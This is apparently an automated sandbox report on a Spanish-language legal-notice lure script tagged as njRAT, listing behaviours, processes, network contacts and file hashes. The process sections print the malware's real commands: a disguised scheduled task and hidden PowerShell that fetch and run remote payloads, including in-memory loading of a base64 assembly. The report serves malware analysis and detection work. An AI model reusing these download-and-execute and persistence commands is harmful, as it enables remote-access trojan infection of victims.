Malware Analysis Report

2025-06-16 06:49

Sample ID 220927-hgbexsdhbk
Target Denuncia en su contra y detalles de la citacion.wsf
SHA256 c738d9ae6eec6bb34b54cf66de709a61c6c7d22d98d8762fdf6b5b5b9c48021b
Tags
njrat nyan cat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

c738d9ae6eec6bb34b54cf66de709a61c6c7d22d98d8762fdf6b5b5b9c48021b

Threat Level: Known bad

The file Denuncia en su contra y detalles de la citacion.wsf was found to be: Known bad.

Malicious Activity Summary

njrat nyan cat trojan

njRAT/Bladabindi

Process spawned unexpected child process

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Suspicious use of SetThreadContext

Drops file in System32 directory

Enumerates physical storage devices

Suspicious behavior: GetForegroundWindowSpam

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

Modifies registry class

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-09-27 06:42

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-09-27 06:42

Reported

2022-09-27 06:48

Platform

win7-20220812-en

Max time kernel

343s

Max time network

346s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\taskschd.msc C:\Windows\system32\mmc.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\mmc.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A
Token: 33 N/A C:\Windows\system32\mmc.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\mmc.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\mmc.exe N/A
N/A N/A C:\Windows\system32\mmc.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"

C:\Windows\system32\schtasks.exe

schtasks /create /sc MINUTE /mo 5 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://notificacionesdelafiscalia.com/t52ph4t' -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs" /F

C:\Windows\system32\mmc.exe

"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s

C:\Windows\system32\taskeng.exe

taskeng.exe {7F8BACB4-89A1-4004-B080-CED057815914} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]

C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Windowstyle Hidden $a = wget "https://notificacionesdelafiscalia.com/t52ph4t" -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs

Network

N/A

Files

memory/1064-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

memory/1064-55-0x000007FEF3A50000-0x000007FEF4473000-memory.dmp

memory/1064-56-0x000007FEEE300000-0x000007FEEF396000-memory.dmp

memory/1064-57-0x000000001D900000-0x000000001D919000-memory.dmp

memory/1064-58-0x0000000003FE8000-0x0000000004007000-memory.dmp

memory/1064-59-0x0000000003FE8000-0x0000000004007000-memory.dmp

memory/1064-60-0x0000000003FE8000-0x0000000004007000-memory.dmp

memory/1500-61-0x0000000000000000-mapping.dmp

memory/1500-63-0x000007FEF4160000-0x000007FEF4B83000-memory.dmp

memory/1500-64-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

memory/1500-65-0x00000000025A4000-0x00000000025A7000-memory.dmp

memory/1500-66-0x000000001B740000-0x000000001BA3F000-memory.dmp

memory/1500-67-0x00000000025AB000-0x00000000025CA000-memory.dmp

memory/1500-68-0x00000000025A4000-0x00000000025A7000-memory.dmp

memory/1500-69-0x00000000025AB000-0x00000000025CA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-09-27 06:42

Reported

2022-09-27 06:47

Platform

win10v2004-20220812-en

Max time kernel

300s

Max time network

302s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\schtasks.exe

njRAT/Bladabindi

trojan njrat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\notepad.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3012 set thread context of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4156 wrote to memory of 3656 N/A C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 4156 wrote to memory of 3656 N/A C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 3656 wrote to memory of 3012 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3656 wrote to memory of 3012 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3012 wrote to memory of 1964 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 3012 wrote to memory of 1964 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3012 wrote to memory of 4112 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Denuncia en su contra y detalles de la citacion.wsf"

C:\Windows\system32\schtasks.exe

schtasks /create /sc MINUTE /mo 5 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://notificacionesdelafiscalia.com/t52ph4t' -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs" /F

C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe

C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -Windowstyle Hidden $a = wget "https://notificacionesdelafiscalia.com/t52ph4t" -o C:\Windows\Temp\t.vbs;start-sleep 5;start-Process C:\Windows\Temp\t.vbs

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\t.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('b41c42003d6a-78c9-52d4-d8d1-25d8b8f0=nekot&aidem=tla?txt.sndnyd.2202vhF2%5222/o/moc.topsppa.3785b-ceyorp-wen/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))

C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Debug.vbs

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Network

Country Destination Domain Proto
US 52.168.117.170:443 tcp
NL 178.79.208.1:80 tcp
NL 178.79.208.1:80 tcp
NL 178.79.208.1:80 tcp
US 8.8.8.8:53 notificacionesdelafiscalia.com udp
US 52.72.49.79:443 notificacionesdelafiscalia.com tcp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.130.233:443 cdn.discordapp.com tcp
US 20.7.14.99:80 20.7.14.99 tcp
US 8.8.8.8:53 firebasestorage.googleapis.com udp
NL 142.251.36.42:443 firebasestorage.googleapis.com tcp
US 204.79.197.200:443 tcp
US 8.8.8.8:53 hv2022.dyndns.ws udp
CO 181.128.6.154:2225 hv2022.dyndns.ws tcp

Files

memory/4156-132-0x0000028467170000-0x0000028467192000-memory.dmp

memory/4156-133-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/3656-134-0x0000000000000000-mapping.dmp

C:\Windows\Temp\t.vbs

MD5 61f778fb90f57dd17579f8fcbb81599b
SHA1 8c894032d3f7ea36c7fd9f44d999f8e25385fe93
SHA256 5b7bf75498ebda8816ccb651e41b39b12ac087682f826a597caa717cc18afdbd
SHA512 58062880faf4e85f51166bbd6d738181b2188ebba104c275dc2423bc6f120f1818cd572b6a2d549ee3126cef3afb5ae276c1c137c65e1cd988105fb10f4cc09c

memory/4156-136-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/3012-137-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 33e9dd1bc41e70c4fbdf04b85cf36ff4
SHA1 0433625fae735abc2f11249456e212dfca1473a9
SHA256 f11191abae782730f3e16400aef46c9e8404c2608dc132ec646b41e7f07911f9
SHA512 d74083d2f0e7fe21db55c7c0bc880dd2d1fe92ca806c79f77ec0bbc7d2ae5fd1d3509d2ebd0fa60efbab0688711902b7a1da6419aba94a0897810ccf6d9957df

memory/3012-140-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/1964-141-0x0000000000000000-mapping.dmp

memory/1964-142-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/1964-143-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/4112-144-0x0000000000400000-0x000000000040C000-memory.dmp

memory/4112-145-0x000000000040679E-mapping.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 af1cb166ef60425f7f761c7e2a56271c
SHA1 3d24a690ddbe7f2c099aa54198b1af5a0a0fa429
SHA256 b5f5944d0252a0dad2c96e9f46799557f59855169cb1693dc40f1fdfd524bb4f
SHA512 39f8eea604c85b92b98775fd85db519941c7a4c5cc2f1ae4228048a3f1963765d813e79b6ea354a329ad0c220dd1c7d68898affbfcad5d47a5d4a95de86217ce

memory/3012-147-0x00007FFFEDE00000-0x00007FFFEE8C1000-memory.dmp

memory/4112-148-0x0000000005980000-0x0000000005A1C000-memory.dmp

memory/4112-149-0x0000000005FD0000-0x0000000006574000-memory.dmp

memory/4112-150-0x0000000005B50000-0x0000000005BE2000-memory.dmp

memory/4112-151-0x0000000005B20000-0x0000000005B2A000-memory.dmp

memory/4112-152-0x0000000005DC0000-0x0000000005E26000-memory.dmp